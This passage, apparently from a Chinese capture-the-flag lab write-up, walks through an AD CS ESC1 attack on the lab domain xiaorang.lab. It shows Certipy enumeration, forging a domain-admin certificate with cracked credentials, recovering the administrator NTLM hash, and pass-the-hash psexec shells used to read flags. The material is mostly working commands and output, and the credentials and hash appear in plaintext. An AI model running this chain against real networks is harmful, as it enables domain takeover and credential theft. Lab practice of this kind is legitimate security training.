[!] Could not retrieve configuration for 'xiaorang-XIAORANG-DC-CA'
[*] Checking web enrollment for CA 'xiaorang-XIAORANG-DC-CA' @ 'XIAORANG-DC.xiaorang.lab'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : xiaorang-XIAORANG-DC-CA
    DNS Name                            : XIAORANG-DC.xiaorang.lab
    Certificate Subject                 : CN=xiaorang-XIAORANG-DC-CA, DC=xiaorang, DC=lab
    Certificate Serial Number           : 43A73F4A37050EAA4E29C0D95BC84BB5
    Certificate Validity Start          : 2023-07-14 04:33:21+00:00
    Certificate Validity End            : 2028-07-14 04:43:21+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
    Active Policy                       : Unknown
    Disabled Extensions                 : Unknown
Certificate Templates
  0
    Template Name                       : XR Manager
    Display Name                        : XR Manager
    Certificate Authorities             : xiaorang-XIAORANG-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2023-07-14T04:51:15+00:00
    Template Last Modified              : 2023-07-14T04:51:44+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Domain Users
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Authenticated Users
      Object Control Permissions
        Owner                           : XIAORANG.LAB\Administrator
        Full Control Principals         : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
        Write Owner Principals          : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
        Write Dacl Principals           : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
        Write Property Enroll           : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Domain Users
                                          XIAORANG.LAB\Enterprise Admins
    [+] User Enrollable Principals      : XIAORANG.LAB\Authenticated Users
                                          XIAORANG.LAB\Domain Users
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.

`certipy-ad find`	枚举 AD CS 证书服务和模板
`-u 'zhangxia@xiaorang.lab'`	使用已破解的服务用户 `zhangxia`
`-p 'MyPass2@@6'`	对应的明文密码
`-dc-ip 172.22.9.7`	指定域控 IP（`xiaorang.lab` 的域控）
`-vulnerable`	只显示存在漏洞的模板（关键参数）
`-stdout`	直接输出到终端（不保存文件）

[!] Vulnerabilities
  ESC1                              : Enrollee supplies subjec
  t and template allows client authentication.

存在ESC1 漏洞

CA 名称	xiaorang-XIAORANG-DC-CA	申请证书时必须指定
CA 服务器	XIAORANG-DC.xiaorang.lab（域控172.22.9.7）	目标服务器
Template Name 模版名	XR Manager

ESC1 是 Active Directory 证书服务中最经典的提权漏洞，它允许一个普通域用户（如zhangxia）申请一张"冒名顶替"高权限用户的证书，从而实现权限提升，比如通过一个低权限账户（比如zhangxia），申请了一张属于域管理员administrator的证书，然后用这张证书登录域控。

└─# proxychains4 certipy-ad req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Request ID is 9
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@xiaorang.lab'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

`-target 172.22.9.7`	目标证书服务器 IP
`-dc-ip 172.22.9.7`	域控 IP（通常是同一个）
`-ca 'xiaorang-XIAORANG-DC-CA'`	证书颁发机构名称
`-template 'XR Manager'`	使用存在 ESC1 漏洞的模板
`-upn 'administrator@xiaorang.lab'`	在证书中伪造域管理员的 UPN

拿到生成的域管理员证书administrator.pfx获取域管哈希

└─# proxychains4 certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@xiaorang.lab'
[*] Using principal: 'administrator@xiaorang.lab'
[*] Trying to get TGT...
[proxychains] Strict chain  ...  vps的ip:10000  ...  172.22.9.7:88  ...  OK
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[proxychains] Strict chain  ...  vps的ip:10000  ...  172.22.9.7:88  ...  OK
[*] Got hash for 'administrator@xiaorang.lab': aad3b435b51404eeaad3b435b51404ee:2f1b57eefb2d152196836b0516abea80

LM哈希:NTLM哈希
aad3b435b51404eeaad3b435b51404ee:2f1b57eefb2d152196836b0516abea80

使用哈希直接登录（Pth）

proxychains4 impacket-psexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7

查找flag

dir C:\*flag* /s
C:\Users\Administrator\flag\flag04.txt

C:\Windows\system32> type C:\Users\Administrator\flag\flag04.txt
  ______                 _  ___       
 / _____)           _   (_)/ __)      
| /      ____  ____| |_  _| |__ _   _ 
| |     / _  )/ ___)  _)| |  __) | | |
| \____( (/ /| |   | |__| | |  | |_| |
 \______)____)_|    \___)_|_|   \__  |
                               (____/ 

flag04: flag{037118e9-1643-4bd6-92e8-94de2392bd00}

有了域管的hash，可以登陆域内任何一台机器

回去拿172.22.9.26的flag

proxychains4 impacket-psexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.26

C:\Windows\system32> type  C:\Users\Administrator\flag\flag03.txt
                                ___              .-.                
                               (   )      .-.   /    \              
  .--.      .--.    ___ .-.     | |_     ( __)  | .`. ;   ___  ___  
 /    \    /    \  (   )   \   (   __)   (''")  | |(___) (   )(   ) 
|  .-. ;  |  .-. ;  | ' .-. ;   | |       | |   | |_      | |  | |  
|  |(___) |  | | |  |  / (___)  | | ___   | |  (   __)    | |  | |  
|  |      |  |/  |  | |         | |(   )  | |   | |       | '  | |  
|  | ___  |  ' _.'  | |         | | | |   | |   | |       '  `-' |  
|  '(   ) |  .'.-.  | |         | ' | |   | |   | |        `.__. |  
'  `-' |  '  `-' /  | |         ' `-' ;   | |   | |        ___ | |  
 `.__,'    `.__.'  (___)         `.__.   (___) (___)      (   )' |  
                                                           ; `-' '  
                                                            .__.'   

      flag03: flag{7e5d454f-eecc-4f93-b5c0-3e9da126bd23}